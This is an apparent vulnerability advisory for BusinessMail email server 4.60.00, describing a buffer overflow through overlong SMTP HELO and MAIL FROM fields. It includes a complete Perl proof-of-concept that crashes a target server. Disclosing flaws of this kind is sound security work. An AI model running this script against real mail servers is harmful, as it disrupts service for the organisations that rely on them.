[NT] BusinessMail Email Server System DoS

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BusinessMail Email Server System DoS
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SUMMARY

" <http://www.netcplus.com/> BusinessMail is a powerful and yet easy to
configure mail server that has been designed from its initial concept as a
full Windows 32bit, multi-threaded system that will provide the power and
flexibility of mail handling that is required by most business network
environments."

Lack of proper length validation of two fields, allows attackers to crash
the BusinessMail email server system.

DETAILS

Vulnerable Systems:
* BusinessMail email server system version 4.60.00

The user provided values for the SMTP HELO and MAIL FROM: fields is not
properly checked. This allows attackers to cause buffer overflow, by
issuing an arbitrarily long data to the HELO and MAIL FROM: fields, which
in turn can be used to cause the process to crash.

Exploit:
#===== Start BusMail_SMTPDOS.pl =====
#
# Usage: BusMail_SMTPDOS.pl <ip>
# BusMail_SMTPDOS.pl 127.0.0.1
#
# BusinessMail email server system 4.60.00
#
# Download:
# http://www.netcplus.com/
#
##########################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "25",
Proto => "TCP"))
{
print "Attempting to kill BusinessMail SMTP server at
$ARGV[0]:25...\n";

sleep(1);

print $socket "HELO " . "A" x 512 . "\r\n";

sleep(1);

print $socket "MAIL FROM:" . "A" x 512 . "\r\n";

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:25\n";
}
#===== Start BusMail_SMTPDOS.pl =====

ADDITIONAL INFORMATION

The information has been provided by <mailto:reedarvin@gmail.com> Reed
Arvin.
The original article can be found at:
<http://reedarvin.thearvins.com/20050725-01.html>
http://reedarvin.thearvins.com/20050725-01.html

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